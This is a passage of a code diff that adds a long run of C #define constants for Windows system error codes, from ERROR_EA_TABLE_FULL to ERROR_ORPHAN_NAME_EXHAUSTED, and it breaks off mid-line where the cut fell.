0x114 +#define ERROR_EA_TABLE_FULL 0x115 +#define ERROR_INVALID_EA_HANDLE 0x116 +#define ERROR_EAS_NOT_SUPPORTED 0x11a +#define ERROR_NOT_OWNER 0x120 +#define ERROR_TOO_MANY_POSTS 0x12a +#define ERROR_PARTIAL_COPY 0x12b +#define ERROR_OPLOCK_NOT_GRANTED 0x12c +#define ERROR_INVALID_OPLOCK_PROTOCOL 0x12d +#define ERROR_DISK_TOO_FRAGMENTED 0x12e +#define ERROR_DELETE_PENDING 0x12f +#define ERROR_INCOMPATIBLE_WITH_GLOBAL_SHORT_NAME_REGISTRY_SETTING 0x130 +#define ERROR_SHORT_NAMES_NOT_ENABLED_ON_VOLUME 0x131 +#define ERROR_SECURITY_STREAM_IS_INCONSISTENT 0x132 +#define ERROR_INVALID_LOCK_RANGE 0x133 +#define ERROR_IMAGE_SUBSYSTEM_NOT_PRESENT 0x134 +#define ERROR_NOTIFICATION_GUID_ALREADY_DEFINED 0x135 +#define ERROR_INVALID_EXCEPTION_HANDLER 0x136 +#define ERROR_DUPLICATE_PRIVILEGES 0x137 +#define ERROR_NO_RANGES_PROCESSED 0x138 +#define ERROR_NOT_ALLOWED_ON_SYSTEM_FILE 0x139 +#define ERROR_DISK_RESOURCES_EXHAUSTED 0x13a +#define ERROR_INVALID_TOKEN 0x13b +#define ERROR_DEVICE_FEATURE_NOT_SUPPORTED 0x13c +#define ERROR_MR_MID_NOT_FOUND 0x13d +#define ERROR_SCOPE_NOT_FOUND 0x13e +#define ERROR_UNDEFINED_SCOPE 0x13f +#define ERROR_INVALID_CAP 0x140 +#define ERROR_DEVICE_UNREACHABLE 0x141 +#define ERROR_DEVICE_NO_RESOURCES 0x142 +#define ERROR_DATA_CHECKSUM_ERROR 0x143 +#define ERROR_INTERMIXED_KERNEL_EA_OPERATION 0x144 +#define ERROR_FILE_LEVEL_TRIM_NOT_SUPPORTED 0x146 +#define ERROR_OFFSET_ALIGNMENT_VIOLATION 0x147 +#define ERROR_INVALID_FIELD_IN_PARAMETER_LIST 0x148 +#define ERROR_OPERATION_IN_PROGRESS 0x149 +#define ERROR_BAD_DEVICE_PATH 0x14a +#define ERROR_TOO_MANY_DESCRIPTORS 0x14b +#define ERROR_SCRUB_DATA_DISABLED 0x14c +#define ERROR_NOT_REDUNDANT_STORAGE 0x14d +#define ERROR_RESIDENT_FILE_NOT_SUPPORTED 0x14e +#define ERROR_COMPRESSED_FILE_NOT_SUPPORTED 0x14f +#define ERROR_DIRECTORY_NOT_SUPPORTED 0x150 +#define ERROR_NOT_READ_FROM_COPY 0x151 +#define ERROR_FT_WRITE_FAILURE 0x152 +#define ERROR_FT_DI_SCAN_REQUIRED 0x153 +#define ERROR_INVALID_KERNEL_INFO_VERSION 0x154 +#define ERROR_INVALID_PEP_INFO_VERSION 0x155 +#define ERROR_OBJECT_NOT_EXTERNALLY_BACKED 0x156 +#define ERROR_EXTERNAL_BACKING_PROVIDER_UNKNOWN 0x157 +#define ERROR_COMPRESSION_NOT_BENEFICIAL 0x158 +#define ERROR_STORAGE_TOPOLOGY_ID_MISMATCH 0x159 +#define ERROR_BLOCKED_BY_PARENTAL_CONTROLS 0x15a +#define ERROR_BLOCK_TOO_MANY_REFERENCES 0x15b +#define ERROR_MARKED_TO_DISALLOW_WRITES 0x15c +#define ERROR_ENCLAVE_FAILURE 0x15d +#define ERROR_FAIL_NOACTION_REBOOT 0x15e +#define ERROR_FAIL_SHUTDOWN 0x15f +#define ERROR_FAIL_RESTART 0x160 +#define ERROR_MAX_SESSIONS_REACHED 0x161 +#define ERROR_NETWORK_ACCESS_DENIED_EDP 0x162 +#define ERROR_DEVICE_HINT_NAME_BUFFER_TOO_SMALL 0x163 +#define ERROR_EDP_POLICY_DENIES_OPERATION 0x164 +#define ERROR_EDP_DPL_POLICY_CANT_BE_SATISFIED 0x165 +#define ERROR_CLOUD_FILE_SYNC_ROOT_METADATA_CORRUPT 0x166 +#define ERROR_DEVICE_IN_MAINTENANCE 0x167 +#define ERROR_NOT_SUPPORTED_ON_DAX 0x168 +#define ERROR_DAX_MAPPING_EXISTS 0x169 +#define ERROR_CLOUD_FILE_PROVIDER_NOT_RUNNING 0x16a +#define ERROR_CLOUD_FILE_METADATA_CORRUPT 0x16b +#define ERROR_CLOUD_FILE_METADATA_TOO_LARGE 0x16c +#define ERROR_CLOUD_FILE_PROPERTY_BLOB_TOO_LARGE 0x16d +#define ERROR_CLOUD_FILE_PROPERTY_BLOB_CHECKSUM_MISMATCH 0x16e +#define ERROR_CHILD_PROCESS_BLOCKED 0x16f +#define ERROR_STORAGE_LOST_DATA_PERSISTENCE 0x170 +#define ERROR_FILE_SYSTEM_VIRTUALIZATION_UNAVAILABLE 0x171 +#define ERROR_FILE_SYSTEM_VIRTUALIZATION_METADATA_CORRUPT 0x172 +#define ERROR_FILE_SYSTEM_VIRTUALIZATION_BUSY 0x173 +#define ERROR_FILE_SYSTEM_VIRTUALIZATION_PROVIDER_UNKNOWN 0x174 +#define ERROR_GDI_HANDLE_LEAK 0x175 +#define ERROR_CLOUD_FILE_TOO_MANY_PROPERTY_BLOBS 0x176 +#define ERROR_CLOUD_FILE_PROPERTY_VERSION_NOT_SUPPORTED 0x177 +#define ERROR_NOT_A_CLOUD_FILE 0x178 +#define ERROR_CLOUD_FILE_NOT_IN_SYNC 0x179 +#define ERROR_CLOUD_FILE_ALREADY_CONNECTED 0x17a +#define ERROR_CLOUD_FILE_NOT_SUPPORTED 0x17b +#define ERROR_CLOUD_FILE_INVALID_REQUEST 0x17c +#define ERROR_CLOUD_FILE_READ_ONLY_VOLUME 0x17d +#define ERROR_CLOUD_FILE_CONNECTED_PROVIDER_ONLY 0x17e +#define ERROR_CLOUD_FILE_VALIDATION_FAILED 0x17f +#define ERROR_SMB1_NOT_AVAILABLE 0x180 +#define ERROR_FILE_SYSTEM_VIRTUALIZATION_INVALID_OPERATION 0x181 +#define ERROR_CLOUD_FILE_AUTHENTICATION_FAILED 0x182 +#define ERROR_CLOUD_FILE_INSUFFICIENT_RESOURCES 0x183 +#define ERROR_CLOUD_FILE_NETWORK_UNAVAILABLE 0x184 +#define ERROR_CLOUD_FILE_UNSUCCESSFUL 0x185 +#define ERROR_CLOUD_FILE_NOT_UNDER_SYNC_ROOT 0x186 +#define ERROR_CLOUD_FILE_IN_USE 0x187 +#define ERROR_CLOUD_FILE_PINNED 0x188 +#define ERROR_CLOUD_FILE_REQUEST_ABORTED 0x189 +#define ERROR_CLOUD_FILE_PROPERTY_CORRUPT 0x18a +#define ERROR_CLOUD_FILE_ACCESS_DENIED 0x18b +#define ERROR_CLOUD_FILE_INCOMPATIBLE_HARDLINKS 0x18c +#define ERROR_CLOUD_FILE_PROPERTY_LOCK_CONFLICT 0x18d +#define ERROR_CLOUD_FILE_REQUEST_CANCELED 0x18e +#define ERROR_EXTERNAL_SYSKEY_NOT_SUPPORTED 0x18f +#define ERROR_THREAD_MODE_ALREADY_BACKGROUND 0x190 +#define ERROR_THREAD_MODE_NOT_BACKGROUND 0x191 +#define ERROR_PROCESS_MODE_ALREADY_BACKGROUND 0x192 +#define ERROR_PROCESS_MODE_NOT_BACKGROUND 0x193 +#define ERROR_CLOUD_FILE_PROVIDER_TERMINATED 0x194 +#define ERROR_NOT_A_CLOUD_SYNC_ROOT 0x195 +#define ERROR_FILE_PROTECTED_UNDER_DPL 0x196 +#define ERROR_VOLUME_NOT_CLUSTER_ALIGNED 0x197 +#define ERROR_NO_PHYSICALLY_ALIGNED_FREE_SPACE_FOUND 0x198 +#define ERROR_APPX_FILE_NOT_ENCRYPTED 0x199 +#define ERROR_RWRAW_ENCRYPTED_FILE_NOT_ENCRYPTED 0x19a +#define ERROR_RWRAW_ENCRYPTED_INVALID_EDATAINFO_FILEOFFSET 0x19b +#define ERROR_RWRAW_ENCRYPTED_INVALID_EDATAINFO_FILERANGE 0x19c +#define ERROR_RWRAW_ENCRYPTED_INVALID_EDATAINFO_PARAMETER 0x19d +#define ERROR_LINUX_SUBSYSTEM_NOT_PRESENT 0x19e +#define ERROR_FT_READ_FAILURE 0x19f +#define ERROR_STORAGE_RESERVE_ID_INVALID 0x1a0 +#define ERROR_STORAGE_RESERVE_DOES_NOT_EXIST 0x1a1 +#define ERROR_STORAGE_RESERVE_ALREADY_EXISTS 0x1a2 +#define ERROR_STORAGE_RESERVE_NOT_EMPTY 0x1a3 +#define ERROR_NOT_A_DAX_VOLUME 0x1a4 +#define ERROR_NOT_DAX_MAPPABLE 0x1a5 +#define ERROR_TIME_SENSITIVE_THREAD 0x1a6 +#define ERROR_DPL_NOT_SUPPORTED_FOR_USER 0x1a7 +#define ERROR_CASE_DIFFERING_NAMES_IN_DIR 0x1a8 +#define ERROR_FILE_NOT_SUPPORTED 0x1a9 +#define ERROR_CLOUD_FILE_REQUEST_TIMEOUT 0x1aa +#define ERROR_NO_TASK_QUEUE 0x1ab +#define ERROR_SRC_SRV_DLL_LOAD_FAILED 0x1ac +#define ERROR_NOT_SUPPORTED_WITH_BTT 0x1ad +#define ERROR_ENCRYPTION_DISABLED 0x1ae +#define ERROR_ENCRYPTING_METADATA_DISALLOWED 0x1af +#define ERROR_CANT_CLEAR_ENCRYPTION_FLAG 0x1b0 +#define ERROR_NO_SUCH_DEVICE 0x1b1 +#define ERROR_CLOUD_FILE_DEHYDRATION_DISALLOWED 0x1b2 +#define ERROR_FILE_SNAP_IN_PROGRESS 0x1b3 +#define ERROR_FILE_SNAP_USER_SECTION_NOT_SUPPORTED 0x1b4 +#define ERROR_FILE_SNAP_MODIFY_NOT_SUPPORTED 0x1b5 +#define ERROR_FILE_SNAP_IO_NOT_COORDINATED 0x1b6 +#define ERROR_FILE_SNAP_UNEXPECTED_ERROR 0x1b7 +#define ERROR_FILE_SNAP_INVALID_PARAMETER 0x1b8 +#define ERROR_UNSATISFIED_DEPENDENCIES 0x1b9 +#define ERROR_CASE_SENSITIVE_PATH 0x1ba +#define ERROR_UNEXPECTED_NTCACHEMANAGER_ERROR 0x1bb +#define ERROR_LINUX_SUBSYSTEM_UPDATE_REQUIRED 0x1bc +#define ERROR_DLP_POLICY_WARNS_AGAINST_OPERATION 0x1bd +#define ERROR_DLP_POLICY_DENIES_OPERATION 0x1be +#define ERROR_SECURITY_DENIES_OPERATION 0x1bf +#define ERROR_UNTRUSTED_MOUNT_POINT 0x1c0 +#define ERROR_DLP_POLICY_SILENTLY_FAIL 0x1c1 +#define ERROR_CAPAUTHZ_NOT_DEVUNLOCKED 0x1c2 +#define ERROR_CAPAUTHZ_CHANGE_TYPE 0x1c3 +#define ERROR_CAPAUTHZ_NOT_PROVISIONED 0x1c4 +#define ERROR_CAPAUTHZ_NOT_AUTHORIZED 0x1c5 +#define ERROR_CAPAUTHZ_NO_POLICY 0x1c6 +#define ERROR_CAPAUTHZ_DB_CORRUPTED 0x1c7 +#define ERROR_CAPAUTHZ_SCCD_INVALID_CATALOG 0x1c8 +#define ERROR_CAPAUTHZ_SCCD_NO_AUTH_ENTITY 0x1c9 +#define ERROR_CAPAUTHZ_SCCD_PARSE_ERROR 0x1ca +#define ERROR_CAPAUTHZ_SCCD_DEV_MODE_REQUIRED 0x1cb +#define ERROR_CAPAUTHZ_SCCD_NO_CAPABILITY_MATCH 0x1cc +#define ERROR_CIMFS_IMAGE_CORRUPT 0x1d6 +#define ERROR_CIMFS_IMAGE_VERSION_NOT_SUPPORTED 0x1d7 +#define ERROR_STORAGE_STACK_ACCESS_DENIED 0x1d8 +#define ERROR_INSUFFICIENT_VIRTUAL_ADDR_RESOURCES 0x1d9 +#define ERROR_INDEX_OUT_OF_BOUNDS 0x1da +#define ERROR_CLOUD_FILE_US_MESSAGE_TIMEOUT 0x1db +#define ERROR_NOT_A_DEV_VOLUME 0x1dc +#define ERROR_FS_GUID_MISMATCH 0x1dd +#define ERROR_CANT_ATTACH_TO_DEV_VOLUME 0x1de +#define ERROR_MEMORY_DECOMPRESSION_FAILURE 0x1df +#define ERROR_PNP_QUERY_REMOVE_DEVICE_TIMEOUT 0x1e0 +#define ERROR_PNP_QUERY_REMOVE_RELATED_DEVICE_TIMEOUT 0x1e1 +#define ERROR_PNP_QUERY_REMOVE_UNRELATED_DEVICE_TIMEOUT 0x1e2 +#define ERROR_DEVICE_HARDWARE_ERROR 0x1e3 +#define ERROR_INVALID_ADDRESS 0x1e7 +#define ERROR_HAS_SYSTEM_CRITICAL_FILES 0x1e8 +#define ERROR_ENCRYPTED_FILE_NOT_SUPPORTED 0x1e9 +#define ERROR_SPARSE_FILE_NOT_SUPPORTED 0x1ea +#define ERROR_PAGEFILE_NOT_SUPPORTED 0x1eb +#define ERROR_VOLUME_NOT_SUPPORTED 0x1ec +#define ERROR_NOT_SUPPORTED_WITH_BYPASSIO 0x1ed +#define ERROR_NO_BYPASSIO_DRIVER_SUPPORT 0x1ee +#define ERROR_NOT_SUPPORTED_WITH_ENCRYPTION 0x1ef +#define ERROR_NOT_SUPPORTED_WITH_COMPRESSION 0x1f0 +#define ERROR_NOT_SUPPORTED_WITH_REPLICATION 0x1f1 +#define ERROR_NOT_SUPPORTED_WITH_DEDUPLICATION 0x1f2 +#define ERROR_NOT_SUPPORTED_WITH_AUDITING 0x1f3 +#define ERROR_USER_PROFILE_LOAD 0x1f4 +#define ERROR_SESSION_KEY_TOO_SHORT 0x1f5 +#define ERROR_ACCESS_DENIED_APPDATA 0x1f6 +#define ERROR_NOT_SUPPORTED_WITH_MONITORING 0x1f7 +#define ERROR_NOT_SUPPORTED_WITH_SNAPSHOT 0x1f8 +#define ERROR_NOT_SUPPORTED_WITH_VIRTUALIZATION 0x1f9 +#define ERROR_BYPASSIO_FLT_NOT_SUPPORTED 0x1fa +#define ERROR_DEVICE_RESET_REQUIRED 0x1fb +#define ERROR_VOLUME_WRITE_ACCESS_DENIED 0x1fc +#define ERROR_NOT_SUPPORTED_WITH_CACHED_HANDLE 0x1fd +#define ERROR_FS_METADATA_INCONSISTENT 0x1fe +#define ERROR_BLOCK_WEAK_REFERENCE_INVALID 0x1ff +#define ERROR_BLOCK_SOURCE_WEAK_REFERENCE_INVALID 0x200 +#define ERROR_BLOCK_TARGET_WEAK_REFERENCE_INVALID 0x201 +#define ERROR_BLOCK_SHARED 0x202 +#define ERROR_VOLUME_UPGRADE_NOT_NEEDED 0x203 +#define ERROR_VOLUME_UPGRADE_PENDING 0x204 +#define ERROR_VOLUME_UPGRADE_DISABLED 0x205 +#define ERROR_VOLUME_UPGRADE_DISABLED_TILL_OS_DOWNGRADE_EXPIRED 0x206 +#define ERROR_INVALID_CONFIG_VALUE 0x207 +#define ERROR_MEMORY_DECOMPRESSION_HW_ERROR 0x208 +#define ERROR_VOLUME_ROLLBACK_DETECTED 0x209 +#define ERROR_CLOUD_FILE_HYDRATION_NOT_AVAILABLE 0x20b +#define ERROR_SYSTEM_FILE_NOT_SUPPORTED 0x20d +#define ERROR_ARITHMETIC_OVERFLOW 0x216 +#define ERROR_PIPE_CONNECTED 0x217 +#define ERROR_PIPE_LISTENING 0x218 +#define ERROR_VERIFIER_STOP 0x219 +#define ERROR_ABIOS_ERROR 0x21a +#define ERROR_WX86_WARNING 0x21b +#define ERROR_WX86_ERROR 0x21c +#define ERROR_TIMER_NOT_CANCELED 0x21d +#define ERROR_UNWIND 0x21e +#define ERROR_BAD_STACK 0x21f +#define ERROR_INVALID_UNWIND_TARGET 0x220 +#define ERROR_INVALID_PORT_ATTRIBUTES 0x221 +#define ERROR_PORT_MESSAGE_TOO_LONG 0x222 +#define ERROR_INVALID_QUOTA_LOWER 0x223 +#define ERROR_DEVICE_ALREADY_ATTACHED 0x224 +#define ERROR_INSTRUCTION_MISALIGNMENT 0x225 +#define ERROR_PROFILING_NOT_STARTED 0x226 +#define ERROR_PROFILING_NOT_STOPPED 0x227 +#define ERROR_COULD_NOT_INTERPRET 0x228 +#define ERROR_PROFILING_AT_LIMIT 0x229 +#define ERROR_CANT_WAIT 0x22a +#define ERROR_CANT_TERMINATE_SELF 0x22b +#define ERROR_UNEXPECTED_MM_CREATE_ERR 0x22c +#define ERROR_UNEXPECTED_MM_MAP_ERROR 0x22d +#define ERROR_UNEXPECTED_MM_EXTEND_ERR 0x22e +#define ERROR_BAD_FUNCTION_TABLE 0x22f +#define ERROR_NO_GUID_TRANSLATION 0x230 +#define ERROR_INVALID_LDT_SIZE 0x231 +#define ERROR_INVALID_LDT_OFFSET 0x233 +#define ERROR_INVALID_LDT_DESCRIPTOR 0x234 +#define ERROR_TOO_MANY_THREADS 0x235 +#define ERROR_THREAD_NOT_IN_PROCESS 0x236 +#define ERROR_PAGEFILE_QUOTA_EXCEEDED 0x237 +#define ERROR_LOGON_SERVER_CONFLICT 0x238 +#define ERROR_SYNCHRONIZATION_REQUIRED 0x239 +#define ERROR_NET_OPEN_FAILED 0x23a +#define ERROR_IO_PRIVILEGE_FAILED 0x23b +#define ERROR_CONTROL_C_EXIT 0x23c +#define ERROR_MISSING_SYSTEMFILE 0x23d +#define ERROR_UNHANDLED_EXCEPTION 0x23e +#define ERROR_APP_INIT_FAILURE 0x23f +#define ERROR_PAGEFILE_CREATE_FAILED 0x240 +#define ERROR_INVALID_IMAGE_HASH 0x241 +#define ERROR_NO_PAGEFILE 0x242 +#define ERROR_ILLEGAL_FLOAT_CONTEXT 0x243 +#define ERROR_NO_EVENT_PAIR 0x244 +#define ERROR_DOMAIN_CTRLR_CONFIG_ERROR 0x245 +#define ERROR_ILLEGAL_CHARACTER 0x246 +#define ERROR_UNDEFINED_CHARACTER 0x247 +#define ERROR_FLOPPY_VOLUME 0x248 +#define ERROR_BIOS_FAILED_TO_CONNECT_INTERRUPT 0x249 +#define ERROR_BACKUP_CONTROLLER 0x24a +#define ERROR_MUTANT_LIMIT_EXCEEDED 0x24b +#define ERROR_FS_DRIVER_REQUIRED 0x24c +#define ERROR_CANNOT_LOAD_REGISTRY_FILE 0x24d +#define ERROR_DEBUG_ATTACH_FAILED 0x24e +#define ERROR_SYSTEM_PROCESS_TERMINATED 0x24f +#define ERROR_DATA_NOT_ACCEPTED 0x250 +#define ERROR_VDM_HARD_ERROR 0x251 +#define ERROR_DRIVER_CANCEL_TIMEOUT 0x252 +#define ERROR_REPLY_MESSAGE_MISMATCH 0x253 +#define ERROR_LOST_WRITEBEHIND_DATA 0x254 +#define ERROR_CLIENT_SERVER_PARAMETERS_INVALID 0x255 +#define ERROR_NOT_TINY_STREAM 0x256 +#define ERROR_STACK_OVERFLOW_READ 0x257 +#define ERROR_CONVERT_TO_LARGE 0x258 +#define ERROR_FOUND_OUT_OF_SCOPE 0x259 +#define ERROR_ALLOCATE_BUCKET 0x25a +#define ERROR_MARSHALL_OVERFLOW 0x25b +#define ERROR_INVALID_VARIANT 0x25c +#define ERROR_BAD_COMPRESSION_BUFFER 0x25d +#define ERROR_AUDIT_FAILED 0x25e +#define ERROR_TIMER_RESOLUTION_NOT_SET 0x25f +#define ERROR_INSUFFICIENT_LOGON_INFO 0x260 +#define ERROR_BAD_DLL_ENTRYPOINT 0x261 +#define ERROR_BAD_SERVICE_ENTRYPOINT 0x262 +#define ERROR_IP_ADDRESS_CONFLICT1 0x263 +#define ERROR_IP_ADDRESS_CONFLICT2 0x264 +#define ERROR_REGISTRY_QUOTA_LIMIT 0x265 +#define ERROR_NO_CALLBACK_ACTIVE 0x266 +#define ERROR_PWD_TOO_SHORT 0x267 +#define ERROR_PWD_TOO_RECENT 0x268 +#define ERROR_PWD_HISTORY_CONFLICT 0x269 +#define ERROR_UNSUPPORTED_COMPRESSION 0x26a +#define ERROR_INVALID_HW_PROFILE 0x26b +#define ERROR_INVALID_PLUGPLAY_DEVICE_PATH 0x26c +#define ERROR_QUOTA_LIST_INCONSISTENT 0x26d +#define ERROR_EVALUATION_EXPIRATION 0x26e +#define ERROR_ILLEGAL_DLL_RELOCATION 0x26f +#define ERROR_DLL_INIT_FAILED_LOGOFF 0x270 +#define ERROR_VALIDATE_CONTINUE 0x271 +#define ERROR_NO_MORE_MATCHES 0x272 +#define ERROR_RANGE_LIST_CONFLICT 0x273 +#define ERROR_SERVER_SID_MISMATCH 0x274 +#define ERROR_CANT_ENABLE_DENY_ONLY 0x275 +#define ERROR_FLOAT_MULTIPLE_FAULTS 0x276 +#define ERROR_FLOAT_MULTIPLE_TRAPS 0x277 +#define ERROR_NOINTERFACE 0x278 +#define ERROR_DRIVER_FAILED_SLEEP 0x279 +#define ERROR_CORRUPT_SYSTEM_FILE 0x27a +#define ERROR_COMMITMENT_MINIMUM 0x27b +#define ERROR_PNP_RESTART_ENUMERATION 0x27c +#define ERROR_SYSTEM_IMAGE_BAD_SIGNATURE 0x27d +#define ERROR_PNP_REBOOT_REQUIRED 0x27e +#define ERROR_INSUFFICIENT_POWER 0x27f +#define ERROR_MULTIPLE_FAULT_VIOLATION 0x280 +#define ERROR_SYSTEM_SHUTDOWN 0x281 +#define ERROR_PORT_NOT_SET 0x282 +#define ERROR_DS_VERSION_CHECK_FAILURE 0x283 +#define ERROR_RANGE_NOT_FOUND 0x284 +#define ERROR_NOT_SAFE_MODE_DRIVER 0x286 +#define ERROR_FAILED_DRIVER_ENTRY 0x287 +#define ERROR_DEVICE_ENUMERATION_ERROR 0x288 +#define ERROR_MOUNT_POINT_NOT_RESOLVED 0x289 +#define ERROR_INVALID_DEVICE_OBJECT_PARAMETER 0x28a +#define ERROR_MCA_OCCURED 0x28b +#define ERROR_DRIVER_DATABASE_ERROR 0x28c +#define ERROR_SYSTEM_HIVE_TOO_LARGE 0x28d +#define ERROR_DRIVER_FAILED_PRIOR_UNLOAD 0x28e +#define ERROR_VOLSNAP_PREPARE_HIBERNATE 0x28f +#define ERROR_HIBERNATION_FAILURE 0x290 +#define ERROR_PWD_TOO_LONG 0x291 +#define ERROR_FILE_SYSTEM_LIMITATION 0x299 +#define ERROR_ASSERTION_FAILURE 0x29c +#define ERROR_ACPI_ERROR 0x29d +#define ERROR_WOW_ASSERTION 0x29e +#define ERROR_PNP_BAD_MPS_TABLE 0x29f +#define ERROR_PNP_TRANSLATION_FAILED 0x2a0 +#define ERROR_PNP_IRQ_TRANSLATION_FAILED 0x2a1 +#define ERROR_PNP_INVALID_ID 0x2a2 +#define ERROR_WAKE_SYSTEM_DEBUGGER 0x2a3 +#define ERROR_HANDLES_CLOSED 0x2a4 +#define ERROR_EXTRANEOUS_INFORMATION 0x2a5 +#define ERROR_RXACT_COMMIT_NECESSARY 0x2a6 +#define ERROR_MEDIA_CHECK 0x2a7 +#define ERROR_GUID_SUBSTITUTION_MADE 0x2a8 +#define ERROR_STOPPED_ON_SYMLINK 0x2a9 +#define ERROR_LONGJUMP 0x2aa +#define ERROR_PLUGPLAY_QUERY_VETOED 0x2ab +#define ERROR_UNWIND_CONSOLIDATE 0x2ac +#define ERROR_REGISTRY_HIVE_RECOVERED 0x2ad +#define ERROR_DLL_MIGHT_BE_INSECURE 0x2ae +#define ERROR_DLL_MIGHT_BE_INCOMPATIBLE 0x2af +#define ERROR_DBG_EXCEPTION_NOT_HANDLED 0x2b0 +#define ERROR_DBG_REPLY_LATER 0x2b1 +#define ERROR_DBG_UNABLE_TO_PROVIDE_HANDLE 0x2b2 +#define ERROR_DBG_TERMINATE_THREAD 0x2b3 +#define ERROR_DBG_TERMINATE_PROCESS 0x2b4 +#define ERROR_DBG_CONTROL_C 0x2b5 +#define ERROR_DBG_PRINTEXCEPTION_C 0x2b6 +#define ERROR_DBG_RIPEXCEPTION 0x2b7 +#define ERROR_DBG_CONTROL_BREAK 0x2b8 +#define ERROR_DBG_COMMAND_EXCEPTION 0x2b9 +#define ERROR_OBJECT_NAME_EXISTS 0x2ba +#define ERROR_THREAD_WAS_SUSPENDED 0x2bb +#define ERROR_IMAGE_NOT_AT_BASE 0x2bc +#define ERROR_RXACT_STATE_CREATED 0x2bd +#define ERROR_SEGMENT_NOTIFICATION 0x2be +#define ERROR_BAD_CURRENT_DIRECTORY 0x2bf +#define ERROR_FT_READ_RECOVERY_FROM_BACKUP 0x2c0 +#define ERROR_FT_WRITE_RECOVERY 0x2c1 +#define ERROR_IMAGE_MACHINE_TYPE_MISMATCH 0x2c2 +#define ERROR_RECEIVE_PARTIAL 0x2c3 +#define ERROR_RECEIVE_EXPEDITED 0x2c4 +#define ERROR_RECEIVE_PARTIAL_EXPEDITED 0x2c5 +#define ERROR_EVENT_DONE 0x2c6 +#define ERROR_EVENT_PENDING 0x2c7 +#define ERROR_CHECKING_FILE_SYSTEM 0x2c8 +#define ERROR_FATAL_APP_EXIT 0x2c9 +#define ERROR_PREDEFINED_HANDLE 0x2ca +#define ERROR_WAS_UNLOCKED 0x2cb +#define ERROR_SERVICE_NOTIFICATION 0x2cc +#define ERROR_WAS_LOCKED 0x2cd +#define ERROR_LOG_HARD_ERROR 0x2ce +#define ERROR_ALREADY_WIN32 0x2cf +#define ERROR_IMAGE_MACHINE_TYPE_MISMATCH_EXE 0x2d0 +#define ERROR_NO_YIELD_PERFORMED 0x2d1 +#define ERROR_TIMER_RESUME_IGNORED 0x2d2 +#define ERROR_ARBITRATION_UNHANDLED 0x2d3 +#define ERROR_CARDBUS_NOT_SUPPORTED 0x2d4 +#define ERROR_MP_PROCESSOR_MISMATCH 0x2d5 +#define ERROR_HIBERNATED 0x2d6 +#define ERROR_RESUME_HIBERNATION 0x2d7 +#define ERROR_FIRMWARE_UPDATED 0x2d8 +#define ERROR_DRIVERS_LEAKING_LOCKED_PAGES 0x2d9 +#define ERROR_WAKE_SYSTEM 0x2da +#define ERROR_WAIT_1 0x2db +#define ERROR_WAIT_2 0x2dc +#define ERROR_WAIT_3 0x2dd +#define ERROR_WAIT_63 0x2de +#define ERROR_ABANDONED_WAIT_0 0x2df +#define ERROR_ABANDONED_WAIT_63 0x2e0 +#define ERROR_USER_APC 0x2e1 +#define ERROR_KERNEL_APC 0x2e2 +#define ERROR_ALERTED 0x2e3 +#define ERROR_ELEVATION_REQUIRED 0x2e4 +#define ERROR_REPARSE 0x2e5 +#define ERROR_OPLOCK_BREAK_IN_PROGRESS 0x2e6 +#define ERROR_VOLUME_MOUNTED 0x2e7 +#define ERROR_RXACT_COMMITTED 0x2e8 +#define ERROR_NOTIFY_CLEANUP 0x2e9 +#define ERROR_PRIMARY_TRANSPORT_CONNECT_FAILED 0x2ea +#define ERROR_PAGE_FAULT_TRANSITION 0x2eb +#define ERROR_PAGE_FAULT_DEMAND_ZERO 0x2ec +#define ERROR_PAGE_FAULT_COPY_ON_WRITE 0x2ed +#define ERROR_PAGE_FAULT_GUARD_PAGE 0x2ee +#define ERROR_PAGE_FAULT_PAGING_FILE 0x2ef +#define ERROR_CACHE_PAGE_LOCKED 0x2f0 +#define ERROR_CRASH_DUMP 0x2f1 +#define ERROR_BUFFER_ALL_ZEROS 0x2f2 +#define ERROR_REPARSE_OBJECT 0x2f3 +#define ERROR_RESOURCE_REQUIREMENTS_CHANGED 0x2f4 +#define ERROR_TRANSLATION_COMPLETE 0x2f5 +#define ERROR_NOTHING_TO_TERMINATE 0x2f6 +#define ERROR_PROCESS_NOT_IN_JOB 0x2f7 +#define ERROR_PROCESS_IN_JOB 0x2f8 +#define ERROR_VOLSNAP_HIBERNATE_READY 0x2f9 +#define ERROR_FSFILTER_OP_COMPLETED_SUCCESSFULLY 0x2fa +#define ERROR_INTERRUPT_VECTOR_ALREADY_CONNECTED 0x2fb +#define ERROR_INTERRUPT_STILL_CONNECTED 0x2fc +#define ERROR_WAIT_FOR_OPLOCK 0x2fd +#define ERROR_DBG_EXCEPTION_HANDLED 0x2fe +#define ERROR_DBG_CONTINUE 0x2ff +#define ERROR_CALLBACK_POP_STACK 0x300 +#define ERROR_COMPRESSION_DISABLED 0x301 +#define ERROR_CANTFETCHBACKWARDS 0x302 +#define ERROR_CANTSCROLLBACKWARDS 0x303 +#define ERROR_ROWSNOTRELEASED 0x304 +#define ERROR_BAD_ACCESSOR_FLAGS 0x305 +#define ERROR_ERRORS_ENCOUNTERED 0x306 +#define ERROR_NOT_CAPABLE 0x307 +#define ERROR_REQUEST_OUT_OF_SEQUENCE 0x308 +#define ERROR_VERSION_PARSE_ERROR 0x309 +#define ERROR_BADSTARTPOSITION 0x30a +#define ERROR_MEMORY_HARDWARE 0x30b +#define ERROR_DISK_REPAIR_DISABLED 0x30c +#define ERROR_INSUFFICIENT_RESOURCE_FOR_SPECIFIED_SHARED_SECTION_SIZE 0x30d +#define ERROR_SYSTEM_POWERSTATE_TRANSITION 0x30e +#define ERROR_SYSTEM_POWERSTATE_COMPLEX_TRANSITION 0x30f +#define ERROR_MCA_EXCEPTION 0x310 +#define ERROR_ACCESS_AUDIT_BY_POLICY 0x311 +#define ERROR_ACCESS_DISABLED_NO_SAFER_UI_BY_POLICY 0x312 +#define ERROR_ABANDON_HIBERFILE 0x313 +#define ERROR_LOST_WRITEBEHIND_DATA_NETWORK_DISCONNECTED 0x314 +#define ERROR_LOST_WRITEBEHIND_DATA_NETWORK_SERVER_ERROR 0x315 +#define ERROR_LOST_WRITEBEHIND_DATA_LOCAL_DISK_ERROR 0x316 +#define ERROR_BAD_MCFG_TABLE 0x317 +#define ERROR_DISK_REPAIR_REDIRECTED 0x318 +#define ERROR_DISK_REPAIR_UNSUCCESSFUL 0x319 +#define ERROR_CORRUPT_LOG_OVERFULL 0x31a +#define ERROR_CORRUPT_LOG_CORRUPTED 0x31b +#define ERROR_CORRUPT_LOG_UNAVAILABLE 0x31c +#define ERROR_CORRUPT_LOG_DELETED_FULL 0x31d +#define ERROR_CORRUPT_LOG_CLEARED 0x31e +#define ERROR_ORPHAN_NAME_EXHAUSTED 0x31f +#define 